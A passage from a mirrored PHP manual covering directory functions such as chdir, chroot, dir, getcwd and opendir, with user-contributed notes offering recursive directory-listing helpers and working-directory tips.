        $checksum_data = pack(
            "a8", sprintf("%6s ", decoct($checksum))
            );
        for ($i=0, $j=148; $i<7; $i++, $j++)
            $header[$j] = $checksum_data[$i];
        return $header;
    }
}

header('Content-type: text/plain');
$start_time = array_sum(explode(chr(32), microtime()));
$tar = & new Tar_by_Vladson();
$finish_time = array_sum(explode(chr(32), microtime()));
printf("The time taken: %f seconds", ($finish_time - $start_time));
?>
engin bzzzt biz 01-Feb-2006 09:07
To join directory and file names in a cross-platform manner you can use the following function.

function join_path()
{
        $num_args = func_num_args();
        $args = func_get_args();
        $path = $args[0];

        if( $num_args > 1 )
        {
            for ($i = 1; $i < $num_args; $i++)
            {
                $path .= DIRECTORY_SEPARATOR.$args[$i];
            }
        }

        return $path;
}

It should do the following:
$src = join_path( '/foo', 'bar', 'john.jpg' );
echo $src; // On *nix -> /foo/bar/john.jpg

$src = join_path( 'C:\www', 'domain.com', 'foo.jpg' );
echo $src; // On win32 -> C:\\www\\domain.com\\foo.jpg
msh at onliners dot dk 30-Jan-2006 12:49
I would like to present these two simple functions for generating a complete directory listing - as I feel the other examples are to restrictive in terms of usage.

function dirTree($dir) {
    $d = dir($dir);
    while (false !== ($entry = $d->read())) {
        if($entry != '.' && $entry != '..' && is_dir($dir.$entry))
            $arDir[$entry] = dirTree($dir.$entry.'/');
    }
    $d->close();
    return $arDir;
}

function printTree($array, $level=0) {
    foreach($array as $key => $value) {
        echo "<div class='dir' style='width: ".($level*20)."px;'>&nbsp;</div>".$key."<br/>\n";
        if(is_array($value))
            printTree($value, $level+1);
    }
}

Usage is as simple as this:
$dir = "<any directory you like>";
$arDirTree = dirTree($dir);
printTree($arDirTree);

It is easy to add files to the tree also - so enjoy.
Nicolas Merlet - admin(at)merletn.org 22-Jan-2006 04:34
Here is a very similar function to *scandir*, if you are still using PHP4...

This recursive function will return an indexed array containing all directories or files or both (depending on parameters). You can specify the depth you want, as explained below.

<?php

// $path : path to browse
// $maxdepth : how deep to browse (-1=unlimited)
// $mode : "FULL"|"DIRS"|"FILES"
// $d : must not be defined

function searchdir ( $path , $maxdepth = -1 , $mode = "FULL" , $d = 0 )
{
   if ( substr ( $path , strlen ( $path ) - 1 ) != '/' ) { $path .= '/' ; }
   $dirlist = array () ;
   if ( $mode != "FILES" ) { $dirlist[] = $path ; }
   if ( $handle = opendir ( $path ) )
   {
       while ( false !== ( $file = readdir ( $handle ) ) )
       {
           if ( $file != '.' && $file != '..' )
           {
               $file = $path . $file ;
               if ( ! is_dir ( $file ) ) { if ( $mode != "DIRS" ) { $dirlist[] = $file ; } }
               elseif ( $d >=0 && ($d < $maxdepth || $maxdepth < 0) )
               {
                   $result = searchdir ( $file . '/' , $maxdepth , $mode , $d + 1 ) ;
                   $dirlist = array_merge ( $dirlist , $result ) ;
               }
       }
       }
       closedir ( $handle ) ;
   }
   if ( $d == 0 ) { natcasesort ( $dirlist ) ; }
   return ( $dirlist ) ;
}

?>


Change directory

  • « Directory Functions
  • chroot »
  • PHP Manual
  • Directory Functions
  • Change directory

chdir

(PHP 4, PHP 5)

chdir — Change directory

Description

bool chdir ( string $directory )

Changes PHP's current directory to directory.

Parameters

directory

The new current directory

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws an error of level E_WARNING on failure.

Examples

Example #1 chdir() example

<?php

// current directory
echo getcwd() . "\n";

chdir('public_html');

// current directory
echo getcwd() . "\n";

?>

The above example will output something similar to:

/home/vincent
/home/vincent/public_html

Notes

Note: When safe mode is enabled, PHP checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.

See Also

  • getcwd() - Gets the current working directory

User Contributed Notes

php dot duke at qik dot nl 31-Jan-2009 11:16
When changing dir's under windows environments:

<?php
$path="c:\temp"';
chdir($path);
/* getcwd() gives you back "c:\temp" */

$path="c:\temp\"';
chdir($path);
/* getcwd() gives you back "c:\temp\" */
?>

to work around this inconsistency
doing a chdir('.') after the chdir always gives back "c:\temp"
andy dot clark at dial dot pipex dot com 21-Aug-2006 05:10
This only changes the directory for PHP, the output directory stays the same. If you are trying to access images from a relative path and you use the following then it will fail to render the image:

chdir ('images');
if (file_exists('php.gif'))
{
echo '<html>';
echo '<body>';
echo '<img src="php.gif">';
echo '</body></html>';
}

//However, it is possible to use the <base> tag in the header to change the directory for the resulting HTML, as you can see however this requires you to put the full path in place.

chdir ('images');
if (file_exists('php.gif'))
{
echo '<html>';
echo '<head><base href = "http://uk.php.net/images/"></head>';
echo '<body>';
echo '<img src="php.gif">';
echo '</body></html>';
}
herwin at snt dot utwente dot nl 17-Aug-2006 08:58
When using PHP safe mode and trying to change to a dir that is not accessible due to the safe mode restrictions, the function simply fails without generating any kind of error message.

(Tested in PHP 4.3.10-16, Debian Sarge default)


Change the root directory

  • « chdir
  • closedir »
  • PHP Manual
  • Directory Functions
  • Change the root directory

chroot

(PHP 4 >= 4.0.5, PHP 5)

chroot — Change the root directory

Description

bool chroot ( string $directory )

Changes the root directory of the current process to directory, and changes the current working directory to "/".

This function is only available to GNU and BSD systems, and only when using the CLI, CGI or Embed SAPI. Also, this function requires root privileges.

Parameters

directory

The path to change the root directory to.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 chroot() example

<?php
chroot("/path/to/your/chroot/");
echo getcwd();
?>

The above example will output:

/

Notes

Note: This function is not implemented on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.


Close directory handle

  • « chroot
  • dir »
  • PHP Manual
  • Directory Functions
  • Close directory handle

closedir

(PHP 4, PHP 5)

closedir — Close directory handle

Description

void closedir ([ resource $dir_handle ] )

Closes the directory stream indicated by dir_handle. The stream must have previously been opened by opendir().

Parameters

dir_handle

The directory handle resource previously opened with opendir(). If the directory handle is not specified, the last link opened by opendir() is assumed.

Examples

Example #1 closedir() example

<?php
$dir = "/etc/php5/";

// Open a known directory, read directory into variable and then close
if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
        $directory = readdir($dh);
        closedir($dh);
    }
}
?>

User Contributed Notes

foo at bar dot com 24-Nov-2000 07:35
About deleting a directory after doing a readdir/closedir on it... I'm not sure if this is the solution, but you could try to chdir("/"); before the rmdir to make absolutely sure you aren't standing in the directory (i.e trying to pull out the rug from under yourself).


Return an instance of the Directory class

  • « closedir
  • getcwd »
  • PHP Manual
  • Directory Functions
  • Return an instance of the Directory class

dir

(PHP 4, PHP 5)

dir — Return an instance of the Directory class

Description

Directory dir ( string $directory [, resource $context ] )

A pseudo-object oriented mechanism for reading a directory. The given directory is opened.

Parameters

directory

Directory to open

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns an instance of Directory, or NULL with wrong parameters, or FALSE in case of another error.

Examples

Example #1 dir() example

Please note the fashion in which Directory::read()'s return value is checked in the example below. We are explicitly testing whether the return value is identical to (equal to and of the same type as - see Comparison Operators for more information) FALSE since otherwise, any directory entry whose name evaluates to FALSE will stop the loop.

<?php
$d = dir("/etc/php5");
echo "Handle: " . $d->handle . "\n";
echo "Path: " . $d->path . "\n";
while (false !== ($entry = $d->read())) {
   echo $entry."\n";
}
$d->close();
?>

The above example will output something similar to:

Handle: Resource id #2
Path: /etc/php5
.
..
apache
cgi
cli

Notes

Note:

The order in which directory entries are returned by the read method is system-dependent.

User Contributed Notes

Alex A. 02-Aug-2011 02:27
<?PHP
/*Simple, good looking recursive function for printing directories.
Just copy/paste and it is ready to go!*/

function printCurrentDirRecursively($originDirectory, $printDistance=0){

    // just a little html-styling
    if($printDistance==0)echo '<div style="color:#35a; font-family:Verdana; font-size:11px;">';
    $leftWhiteSpace = "";
    for ($i=0; $i < $printDistance; $i++)  $leftWhiteSpace = $leftWhiteSpace."&nbsp;";

    $CurrentWorkingDirectory = dir($originDirectory);
    while($entry=$CurrentWorkingDirectory->read()){
        if($entry != "." && $entry != ".."){
            if(is_dir($originDirectory."\\".$entry)){
                echo $leftWhiteSpace."<b>".$entry."</b><br>\n";
                printCurrentDirRecursively($originDirectory."\\".$entry, $printDistance+2);
             }
            else{
                echo $leftWhiteSpace.$entry."<br>\n";
            }
        }
    }
    $CurrentWorkingDirectory->close();

    if($printDistance==0)echo "</div>";
}

//TEST IT!
printCurrentDirRecursively(getcwd());

?>
GUILLE@GARGANO 18-Jan-2011 06:17
to get a dir of http://www.example.com/directory

<?php
function remotedir($dir)
{
  $dir = str_replace(" ", "%20", html_entity_decode($dir));
  if (($rh = fopen($dir, 'rb')) === FALSE) { return false; }
  $i = 0;
  while (!feof($rh)) {
     $archivos = fgetss($rh);
     $directorio[$i++] = trim( substr($archivos,1,strpos($archivos," ",1)) );
  }
  fclose($rh);
  return $directorio;
}
?>
emanueledelgrande at email dot it 01-Oct-2009 03:14
When creating custom solutions, use predefined PHP constants to shorten your code and improve performances:
http://www.php.net/manual/en/reserved.constants.php

For example, DIRECTORY_SEPARATOR may replace a function in which you check PHP_OS to set if the directory separator is "/" or "\\".

Cheers.
sojka at online-forum dot net 20-Oct-2008 12:47
That's the way, I'm storing recursive dirs to an array.

<?php
public static function getTreeFolders($sRootPath = UPLOAD_PATH_PROJECT, $iDepth = 0) {
      $iDepth++;
      $aDirs = array();
      $oDir = dir($sRootPath);
      while(($sDir = $oDir->read()) !== false) {
        if($sDir != '.' && $sDir != '..' && is_dir($sRootPath.$sDir)) {
          $aDirs[$iDepth]['sName'][] = $sDir;
          $aDirs[$iDepth]['aSub'][]  = self::getTreeFolders($sRootPath.$sDir.'/',$iDepth);
        }
      }
      $oDir->close();
      return empty($aDirs) ? false : $aDirs;
}
?>
manuel at buschmanuel dot de 07-Feb-2008 11:45
Here my solution how to do effective recursiv directory listing.

Have fun.

<?php

/**
 * example of use:
 */
$d = new RecDir("/etc/",false);
echo "Path: " . $d->getRootPath() . "\n";
while (false !== ($entry = $d->read())) {
   echo $entry."\n";
}
$d->close();

class RecDir
{
   protected $currentPath;
   protected $slash;
   protected $rootPath;
   protected $recursiveTree;

   function __construct($rootPath,$win=false)
   {
      switch($win)
      {
         case true:
            $this->slash = '\\';
            break;
         default:
            $this->slash = '/';
      }
      $this->rootPath = $rootPath;
      $this->currentPath = $rootPath;
      $this->recursiveTree = array(dir($this->rootPath));
      $this->rewind();
   }

   function __destruct()
   {
      $this->close();
   }

   public function close()
   {
      while(true === ($d = array_pop($this->recursiveTree)))
      {
         $d->close();
      }
   }

   public function closeChildren()
   {
      while(count($this->recursiveTree)>1 && false !== ($d = array_pop($this->recursiveTree)))
      {
         $d->close();
         return true;
      }
      return false;
   }

   public function getRootPath()
   {
      if(isset($this->rootPath))
      {
         return $this->rootPath;
      }
      return false;
   }

   public function getCurrentPath()
   {
      if(isset($this->currentPath))
      {
         return $this->currentPath;
      }
      return false;
   }

   public function read()
   {
      while(count($this->recursiveTree)>0)
      {
         $d = end($this->recursiveTree);
         if((false !== ($entry = $d->read())))
         {
            if($entry!='.' && $entry!='..')
            {
               $path = $d->path.$entry;

               if(is_file($path))
               {
                  return $path;
               }
               elseif(is_dir($path.$this->slash))
               {
                  $this->currentPath = $path.$this->slash;
                  if($child = @dir($path.$this->slash))
                  {
                     $this->recursiveTree[] = $child;
                  }
               }
            }
         }
         else
         {
            array_pop($this->recursiveTree)->close();
         }
      }
      return false;
   }

   public function rewind()
   {
      $this->closeChildren();
      $this->rewindCurrent();
   }

   public function rewindCurrent()
   {
      return end($this->recursiveTree)->rewind();
   }
}
?>
cf at chronofish dot com 26-Jun-2007 12:23
The dir Class, from what I can tell, on a Windows box is not a  live image of the directory.  When the class is instantiated it takes a snapshot of the directory and then the iterator works off that.

I may be wrong, but when I run two processes that look to see if a directory exists, and then deletes the dir when some processing takes place.  Deletes from one process do not effect the iteration of the second.

To get around this I check that the file exists before doing my processing:

$d = dir($dataDir);
while (false !== ($entry = $d->read()))
if ($entry != '..' && $entry != '.' && file_exists("$dataDir\\$entry"))
{
    // do stuff
}
$d->close();

I run this as a batch process and can activate it multiple times to process the directory listing in parallel.

-CF
thomas at hawkes dot ca 01-Feb-2007 03:10
With SPL, you could recursively list all of the folders inside the current directory like this:

<?php
$it = new RecursiveDirectoryIterator('./');

// RecursiveIteratorIterator accepts the following modes:
//     LEAVES_ONLY = 0  (default)
//     SELF_FIRST  = 1
//     CHILD_FIRST = 2
foreach (new RecursiveIteratorIterator($it, 2) as $path) {

    if ($path->isDir()) {

        echo "$path\n";

    }

}
?>
http://www.rooftopsolutions.nl 18-Jan-2007 06:17
<?php

  $i = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('.'));

?>

works for me..
alex at snet-group dot org 01-Oct-2006 08:55
IMHO, thats take most effect with smaller number of errors;)

     function get_leaf_dirs($dir)
      {
         $array = array();
         $d = @dir($dir);
         if($d)
         {
               while (false !== ($entry = $d->read()))
               {
                   if($entry!='.' && $entry!='..')
                   {
                       $entry = $dir.'/'.$entry;
                       if(is_dir($entry))
                       {
                           $subdirs = get_leaf_dirs($entry);
                           if ($subdirs)
                             $array = array_merge($array, $subdirs);
                           else
                             $array[] = $entry;
                       }
                   }
               }
               $d->close();
         }
         return $array;
      }
done_to_death at example dot com 24-Aug-2006 02:56
function directoryList($start,$win32=false){
    if($win32){
        $slash="\\";
    }else{
        $slash="/";
    }
    $basename = pathinfo($start);
    $basename = $basename['basename'];
    $ls=array();
    $dir = dir($start);
    while($item = $dir->read()){
        if(is_dir($start.$slash.$item)&& $item!="." && $item!=".."){
            $ls[$basename][]=directoryList($start.$slash.$item,$win32);
        }else{
            if($item!="."&&$item!=".."){
                $ls[$basename][]=$item;
            }
        }
    }
    return $ls;
}

$path = pathinfo(__FILE__);
$ls = directoryList($path['dirname'], true);
22-Feb-2006 10:02
Regarding samuel's comment about the dir() function not supporting Unicode properly, it's all in the encoding. The function does NOT internally change Unicode characters into question marks (?), as I was first led to believe. If you simply try to output them in UTF-8, they'll show up just right.
samuel dot l at mushicrew dot com 24-Jan-2006 07:52
Note that the dir object will use the default encoding for non-unicode programs on Windows with PHP 5.x.

So, if you have a file named with characters unsupported by the current default encoding, the dir->read() method will return a wrong entry.

<?php
/*
** This script is on the same directory than a file named with
** unsupported characters for the current default encoding.
*/
$d = dir("./");
while(false !== ($e = $d->read()))
    echo $e . '<br/>';
?>

This will print a "?" for every unsupported characters, and not the right file name. So take care if you check with is_file/is_dir right after enumerating.
radar at frozenplague dot net 13-Jan-2006 09:00
Regarding jaqb's post about a correction to the read_dir function, I have one small fix too if people wish to also list the directories inside this directory and read them into the same array.

<?
function read_dir($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $array[] = $entry;
               $array = array_merge($array, read_dir($entry));
           } else {
               $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>
fordiman at gmail dot com 11-Jan-2006 07:15
Saw the leaf dirs bit...  quick mod:

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
    $pat=preg_replace ("|(/.*/[^S]*)|s", "\\1S", $pat);
    while (substr ($path,-1,1) =="/") $path=substr ($path,0,-1);
    if (!is_dir ($path) ) $path=dirname ($path);
    if ($rec!==true) $rec=false;
    $d=dir ($path);
    $ret=Array ();
    while (false!== ($e=$d->read () ) ) {
        if ( ($e==".") || ($e=="..") ) continue;
        if ($rec && is_dir ($path."/".$e) ) {
            $ret=array_merge ($ret,preg_ls($path."/".$e,$rec,$pat));
            continue;
        }
        if (!preg_match ($pat,$e) ) continue;
        $ret[]=$path."/".$e;
    }
    return (empty ($ret) && preg_match ($pat,basename($path))) ? Array ($path."/") : $ret;
}

example:

foreach (preg_ls ("/usr/share/fluxbox", true, "/[LT]e[sa]/i") as $file) echo $file."\n";

output:

/usr/share/fluxbox/styles/Leaf/
/usr/share/fluxbox/styles/Clean
/usr/share/fluxbox/styles/Testing/
fordiman at gmail dot com 11-Jan-2006 07:05
This one's pretty nice.  After getting frustrated for hunting down .jpg files in my massive music collection (PHP would run out of memory), I thought there should be a preg_ls function.

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
    // it's going to be used repeatedly, ensure we compile it for speed.
    $pat=preg_replace("|(/.*/[^S]*)|s", "\\1S", $pat);
    //Remove trailing slashes from path
    while (substr($path,-1,1)=="/") $path=substr($path,0,-1);
    //also, make sure that $path is a directory and repair any screwups
    if (!is_dir($path)) $path=dirname($path);
    //assert either truth or falsehoold of $rec, allow no scalars to mean truth
    if ($rec!==true) $rec=false;
    //get a directory handle
    $d=dir($path);
    //initialise the output array
    $ret=Array();
    //loop, reading until there's no more to read
    while (false!==($e=$d->read())) {
        //Ignore parent- and self-links
        if (($e==".")||($e=="..")) continue;
        //If we're working recursively and it's a directory, grab and merge
        if ($rec && is_dir($path."/".$e)) {
            $ret=array_merge($ret,preg_ls($path."/".$e,$rec,$pat));
            continue;
        }
        //If it don't match, exclude it
        if (!preg_match($pat,$e)) continue;
        //In all other cases, add it to the output array
        $ret[]=$path."/".$e;
    }
    //finally, return the array
    return $ret;
}

Not bad for a mere 18 lines, don't you think?

Example use:

foreach (preg_ls("/etc/X11", true, "/.*\.conf/i") as $file) echo $file."\n";

Output:

/etc/X11/xkb/README.config
/etc/X11/xorg.conf-vesa
/etc/X11/xorg.conf~
/etc/X11/gui.conf
/etc/X11/xorg.conf
/etc/X11/xorg.conf-fbdev
Anton Backer 05-Jan-2006 04:24
i've modified the script below to get the leaf folders of any directory (folders with no subfolders).

note: this does not return the folder passed in as a parameter, even if it has no subfolders.

<?php
function get_leaf_dirs($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $subdirs = get_leaf_dirs($entry);
               if ($subdirs)
                  $array = array_merge($array, $subdirs);
               else
                  $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>


Gets the current working directory

  • « dir
  • opendir »
  • PHP Manual
  • Directory Functions
  • Gets the current working directory

getcwd

(PHP 4, PHP 5)

getcwd — Gets the current working directory

Description

string getcwd ( void )

Gets the current working directory.

Return Values

Returns the current working directory on success, or FALSE on failure.

On some Unix variants, getcwd() will return FALSE if any one of the parent directories does not have the readable or search mode set, even if the current directory does. See chmod() for more information on modes and permissions.

Examples

Example #1 getcwd() example

<?php

// current directory
echo getcwd() . "\n";

chdir('cvs');

// current directory
echo getcwd() . "\n";

?>

The above example will output something similar to:

/home/didou
/home/didou/cvs

See Also

  • chdir() - Change directory
  • chmod() - Changes file mode

User Contributed Notes

Anonymous 14-Jul-2010 01:04
As you could read in
http://www.php.net/manual/en/features.commandline.differences.php
the CLI SAPI does - contrary to other SAPIs - NOT automatically change the current working directory to the one the started script resides in.

A very simple workaround to regain the behaviour you're used to from your "ordinary" webpage scripting is to include something like that at the beginning of your script:

<?php
  chdir( dirname ( __FILE__ ) );
?>

But because this is about reading or "finding" pathes, you might appreciate it if I share some more sophisticated tricks I frequently use in CLI scripts ...

<?php
// Note: all pathes stored in subsequent Variables end up with a DIRECTORY_SEPARATOR

// how to store the working directory "from where" the script was called:
$initial_cwd = preg_replace( '~(\w)$~' , '$1' . DIRECTORY_SEPARATOR , realpath( getcwd() ) );

// how to switch symlink-free to the folder the current file resides in:
chdir( dirname ( realpath ( __FILE__ ) ) );

// how to store the former folder in a variable:
$my_folder = dirname( realpath( __FILE__ ) ) . DIRECTORY_SEPARATOR;

// how to get a path one folder up if $my_folder ends with \class\ or /class/ :
$my_parent_folder = preg_replace( '~[/\\\\]class[/\\\\]$~' , DIRECTORY_SEPARATOR , $my_folder );

// how to get a path one folder up in any case :
$my_parent_folder = preg_replace( '~[/\\\\][^/\\\\]*[/\\\\]$~' , DIRECTORY_SEPARATOR , $my_folder );

// how to make an array of OS-style-pathes from an array of unix-style-pathes
// (handy if you use config-files or so):
foreach( $unix_style_pathes as $unix_style_path )
    $os_independent_path[] = str_replace( '/' , DIRECTORY_SEPARATOR , $unix_style_path );

?>
bvidinli at gmail dot com 21-Jan-2009 10:13
if you link your php to /bin/linkedphp  and your php is at for ex /home/actual.php

when you run linkedphp in somewhere in your filesystem,
getcwd returns /bin instead of working dir,

solution: use dirname(__FILENAME__) instead
ash at ashmckenzie dot org 19-Nov-2008 02:37
It appears there is a change in functionality in PHP5 from PHP4 when using the CLI tool.  Here is the example: -

cd /tmp

cat > foo.php << END
<?php
    print getcwd() . "\n";
?>
END

cd /

php -q /tmp/foo.php

PHP4 returns /tmp
PHP5 returns /

Something to be aware of.
Wolfgang M. Pauli 05-May-2008 04:44
If you try to use getcwd() in a directory that is a symbolic link, getcwd() gives you the target of that link (similarly when parent etc. is symbolic link). There might be a better solution, but this worked for me (linux):
<? php
$cwd = exec('pwd');
?>
znupi69NOSPAMHERE at gmail dot com 03-Mar-2008 07:39
In response to myself: that function will not work for cases like:
/usr/bin$: /home/johndoe/Work/script.php
So here's a better and simpler way (I think this one works for all cases)
<?php
function get_file_dir() {
    global $argv;
    return realpath($argv[0]);
}
?>
Knock yourself out :)
znupi69NOSPAMHERE at gmail dot com 02-Mar-2008 04:01
When running PHP on the command line, if you want to include another file which is in the same directory as the main script, doing just
<?php
include './otherfile.php';
?>
might not work, if you run your script like this:
/$ /path/to/script.php
because the current working dir will be set to '/', and the file '/otherfile.php' does not exist, because it is in '/path/to/otherfile.php'.
So, to get the directory in which the script resides, you can use this function:
<?php
function get_file_dir() {
    global $argv;
    $dir = dirname(getcwd() . '/' . $argv[0]);
    $curDir = getcwd();
    chdir($dir);
    $dir = getcwd();
    chdir($curDir);
    return $dir;
}
?>
So you can use it like this:
<?php
include get_file_dir() . '/otherfile.php';
// or even..
chdir(get_file_dir());
include './otherfile.php';
?>
Spent some time thinking this one out, maybe it helps someone :)
leonbrussels at gmail dot com 17-Dec-2007 05:10
This is a function to convert a path which looks something like this:

/home/www/somefolder/../someotherfolder/../

To a proper directory path:

<?php

function simplify_path($path) {

//saves our current working directory to a variable
$oldcwd = getcwd();
//changes the directory to the one to convert
//$path is the directory to convert (clean up), handed over to the //function as a string

chdir($path);
return gstr_replace('\\', '/', getcwd());

//change the cwd back to the old value to not interfere with the script
chdir($oldcwd);

}

This function is really useful if you want to compare two filepaths which are not necesarily in a "cleaned up" state. It works in *NIX and WINDOWS alike

?>
ab5602 at wayne dot edu 30-Sep-2007 07:33
If getcwd() returns nothing for you under Solaris with an NFS mounted subdirectory, you are running into an OS bug that is supposedly fixed in recent versions of Solaris 10.  This same OS bug effects the include() and require() functions as well.
troy dot cregger at gmail dot com 26-Jan-2007 09:10
Take care if you use getcwd() in file that you'll need to include (using include, require, or *_once) in a script located outside of the same directory tree.

example:
<?php
//in /var/www/main_document_root/include/MySQL.inc.php
if (strpos(getcwd(),'main_')>0) {
  //code to set up main DB connection
}
?>

<?php
//in home/cron_user/maintenance_scripts/some_maintenance_script.php
require_once ('/var/www/main_document_root/include/MySQL.inc.php');
?>

In the above example, the database connection will not be made because the call to getcwd() returns the path relative to the calling script ( /home/cron_user/maintenance_scripts ) NOT relative to the file where the getcwd() function is called.
mark dot phpnetspam at mhudson dot net 03-Nov-2006 10:42
This function is often used in conjuction with basename(), i.e.
http://www.php.net/manual/en/function.basename.php
hodgman at ali dot com dot au 07-Sep-2006 04:58
I use this code to replicate the pushd and popd DOS commands in PHP:

<?php
$g_DirStack = array();
function pushd( $dir )
{
    global $g_DirStack;
    array_push( $g_DirStack, getcwd() );
    chdir( $dir );
}
function popd( )
{
    global $g_DirStack;
    $dir = array_pop( $g_DirStack );
    assert( $dir !== null );
    chdir( $dir );
}
?>

This allows you to change the current directory with pushd, then use popd to "undo" the directory change when you're done.
emailfire at gmail dot com 08-Dec-2005 03:57
To get the username of the account:

<?php
$dir = getcwd();
$part = explode('/', $dir);
$username = $part[1];
?>

If current directory is '/home/mike/public_html/' it would return mike.
memandeemail at gmail dot com 07-Dec-2005 12:48
Some server's has security options to block the getcwd()

Alternate option:

str_replace($_SERVER['SCRIPT_NAME'],'', $_SERVER['SCRIPT_FILENAME']);
marcus at synchromedia dot co dot uk 04-May-2005 05:41
"On some Unix variants, getcwd() will return FALSE if any one of the parent directories does not have the readable or search mode set, even if the current directory does."

Just so you know, MacOS X is one of these variants (at least 10.4 is for me). You can make it work by applying 'chmod a+rx' to all folders from your site folder upwards.
vermicin at antispam dot gmail dot com 27-Jan-2005 12:48
If your PHP cli binary is built as a cgi binary (check with php_sapi_name), the cwd functions differently than you might expect.

say you have a script /usr/local/bin/purge
you are in /home/username

php CLI: getcwd() gives you /home/username
php CGI: getcwd() gives you /usr/local/bin

This can trip you up if you're writing command line scripts with php. You can override the CGI behavior by adding -C to the php call:

#!/usr/local/bin/php -Cq

and then getcwd() behaves as it does in the CLI-compiled version.
manux at manux dot org 22-Jun-2004 06:44
watch out:
working directory, and thus:
getcwd ()
is "/" while being into a register'ed shutdown function!!!
dave at corecomm dot us 10-Dec-2003 07:14
getcwd() returns the path of the "main" script referenced in the URL.

dirname(__FILE__) will return the path of the script currently executing.

I had written a script that required several class definition scripts from the same directory. It retrieved them based on filename matches and used getcwd to figure out where they were.

Didn't work so well when I needed to call that first script from a new file in a different directory.


Open directory handle

  • « getcwd
  • readdir »
  • PHP Manual
  • Directory Functions
  • Open directory handle

opendir

(PHP 4, PHP 5)

opendir — Open directory handle

Description

resource opendir ( string $path [, resource $context ] )

Opens up a directory handle to be used in subsequent closedir(), readdir(), and rewinddir() calls.

Parameters

path

The directory path that is to be opened

context

For a description of the context parameter, refer to the streams section of the manual.

Return Values

Returns a directory handle resource on success, or FALSE on failure.

If path is not a valid directory or the directory can not be opened due to permission restrictions or filesystem errors, opendir() returns FALSE and generates a PHP error of level E_WARNING. You can suppress the error output of opendir() by prepending '@' to the front of the function name.

Changelog

Version | Description
5.0.0 | path supports the ftp:// URL wrapper.
4.3.0 | path can also be any URL which supports directory listing, however only the file:// URL wrapper supports this in PHP 4

Examples

Example #1 opendir() example

<?php
$dir = "/etc/php5/";

// Open a known directory, and proceed to read its contents
if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
            echo "filename: $file : filetype: " . filetype($dir . $file) . "\n";
        }
        closedir($dh);
    }
}
?>

The above example will output something similar to:

filename: . : filetype: dir
filename: .. : filetype: dir
filename: apache : filetype: dir
filename: cgi : filetype: dir
filename: cli : filetype: dir

See Also

  • is_dir() - Tells whether the filename is a directory
  • readdir() - Read entry from directory handle
  • dir() - Return an instance of the Directory class

User Contributed Notes

no-michael-spam at placecreativecompany dot com 14-Dec-2013 12:40
You can't rely on is_dir() and a permissions check to know whether opendir() will succeed.

I'm working on a Windows system and accessing files on an OSX share. There are file/folder names with unsupported characters in them, (such as ">"), so opendir() fails with "the volume label syntax is incorrect." However, is_dir() will report - correctly - that it these are valid directories!

Though for what it's worth, Windows can't get in there either. The ">" character existing in the folder name is a problem for both.

Bottom line: you may need to test the result of opendir() before you go on to process it, even if you've checked permissions and is_dir() beforehand.
sebastian dot kroskiewicz at gmail dot com 02-Oct-2010 03:54
If you search for a comfortable way to include javascript code from other javascript code, here is a useful tool based on opendir():

<?php

class JSIncluder {
    private static $included = array();

    private static function ext($filename) {
        return pathinfo($filename, PATHINFO_EXTENSION);
    }

    public static function includeFile($file) {
        if (isset(JSIncluder::$included[$file]))
            return;
        JSIncluder::$included[$file] = true;

        $contents = file_get_contents($file);
        preg_match_all('/\/\*include:([^*]+)\*\//', $contents, $deps);

        foreach ($deps[1] as $dep) {
            if (is_file($dep)) {
                JSIncluder::includeFile($dep);
            } else
                JSIncluder::includeAll($dep);
        }

        echo '<script type="text/javascript">' . $file . '</script>' . PHP_EOL;
    }

    private static function includeAll($dir) {
        if (($handle = opendir($dir))) {
            while ($file = readdir($handle)) {
                clearstatcache();
                if (is_file($dir . '/' . $file)) {
                    if (JSIncluder::ext($file) == 'js') {
                        JSIncluder::includeFile($dir . '/' . $file);
                    }
                } elseif ($file != '..' && $file != '.')
                    JSIncluder::includeAll($dir . '/' . $file);
            }
            closedir($handle);
        }
    }

}

?>

Now, you can just write <?php JSIncluder::includeFile('path/to/script/main.js') ?> in your <head> section and then you can include files directly from your javascript files by typing /*include:path/to/other/script/foo.js*/ anywhere! For example:

/*include:scripts/lib*/ //it will include the whole lib dir and its subdirectories
/*include:scripts/helloworld.js*/ //it will include only one file

$(function() {
    $(body).html('Hello world!');
});

and in your html code:
<head>
<?php JSIncluder::includeFile('scripts/main.js') ?>
</head>

The JSIncluder should be safe, because all the work is done server-side and clients just can't affect anything. They could write /*include:/foo/bar*/ but nothing will happen, because the code does nothing but automatically generates <script> tags in specific order in your <head> section.

Feel free to modify my code. I believe that it will be useful!
cgray at metamedia dot us 28-Jul-2010 04:36
To extend the examples already given into something more flexible and complete.
-c!

<?php
/**
* directory_list
* return an array containing optionally all files, only directiories or only files at a file system path
* @author     cgray The Metamedia Corporation www.metamedia.us
*
* @param    $base_path         string    either absolute or relative path
* @param    $filter_dir        boolean    Filter directories from result (ignored except in last directory if $recursive is true)
* @param    $filter_files    boolean    Filter files from result
* @param    $exclude        string    Pipe delimited string of files to always ignore
* @param    $recursive        boolean    Descend directory to the bottom?
* @return    $result_list    array    Nested array or false
* @access public
* @license    GPL v3
*/
function directory_list($directory_base_path, $filter_dir = false, $filter_files = false, $exclude = ".|..|.DS_Store|.svn", $recursive = true){
    $directory_base_path = rtrim($directory_base_path, "/") . "/";

    if (!is_dir($directory_base_path)){
        error_log(__FUNCTION__ . "File at: $directory_base_path is not a directory.");
        return false;
    }

    $result_list = array();
    $exclude_array = explode("|", $exclude);

    if (!$folder_handle = opendir($directory_base_path)) {
        error_log(__FUNCTION__ . "Could not open directory at: $directory_base_path");
        return false;
    }else{
